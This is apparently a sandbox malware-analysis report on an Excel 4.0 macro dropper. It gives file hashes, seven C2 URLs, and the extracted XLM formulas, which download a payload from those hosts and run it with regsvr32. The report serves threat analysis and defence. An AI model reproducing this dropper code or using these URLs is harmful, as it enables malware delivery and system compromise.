Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    da63166f7000f3d9aa27859d0be23d5b4e7a347605070c661b90c6b3839f92fe

  • Size

    38KB

  • Sample

    241111-1qtlzaxelk

  • MD5

    41dec69c18700d7eb98cab83feb29417

  • SHA1

    3222134d59bb7e8d3066771cc2cdda595ee64a37

  • SHA256

    da63166f7000f3d9aa27859d0be23d5b4e7a347605070c661b90c6b3839f92fe

  • SHA512

    b5bd247fc7987bce40365227e527c01a9736d45a322b71c163dbe4b16253ee2528fddee85a5d4868b417ee3ebf2cb472f6ac3ffa53c78cb864bb4b96c4eaa331

  • SSDEEP

    768:CbdpCR8kjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIyYS:CwDOZZ1ZYpoQ/pMAeVIyYzaT

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/

https://risamfg.com/wp-admin/JtqFQW/

https://thailand-rocco.com/wp-content/gE7UvFwLh/

https://pregy.org/test/rXTl1DEv0CWCE/

https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/

https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/

https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/","..\wnru.ocx",0,0) =IF('HUNJK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://risamfg.com/wp-admin/JtqFQW/","..\wnru.ocx",0,0)) =IF('HUNJK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thailand-rocco.com/wp-content/gE7UvFwLh/","..\wnru.ocx",0,0)) =IF('HUNJK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pregy.org/test/rXTl1DEv0CWCE/","..\wnru.ocx",0,0)) =IF('HUNJK'!E21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/","..\wnru.ocx",0,0)) =IF('HUNJK'!E23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/","..\wnru.ocx",0,0)) =IF('HUNJK'!E25<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/","..\wnru.ocx",0,0)) =IF('HUNJK'!E27<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wnru.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/

xlm40.dropper

https://risamfg.com/wp-admin/JtqFQW/

xlm40.dropper

https://thailand-rocco.com/wp-content/gE7UvFwLh/

xlm40.dropper

https://pregy.org/test/rXTl1DEv0CWCE/

xlm40.dropper

https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/

xlm40.dropper

https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/

xlm40.dropper

https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/

Targets

    • Target

      da63166f7000f3d9aa27859d0be23d5b4e7a347605070c661b90c6b3839f92fe

    • Size

      38KB

    • MD5

      41dec69c18700d7eb98cab83feb29417

    • SHA1

      3222134d59bb7e8d3066771cc2cdda595ee64a37

    • SHA256

      da63166f7000f3d9aa27859d0be23d5b4e7a347605070c661b90c6b3839f92fe

    • SHA512

      b5bd247fc7987bce40365227e527c01a9736d45a322b71c163dbe4b16253ee2528fddee85a5d4868b417ee3ebf2cb472f6ac3ffa53c78cb864bb4b96c4eaa331

    • SSDEEP

      768:CbdpCR8kjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIyYS:CwDOZZ1ZYpoQ/pMAeVIyYzaT

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks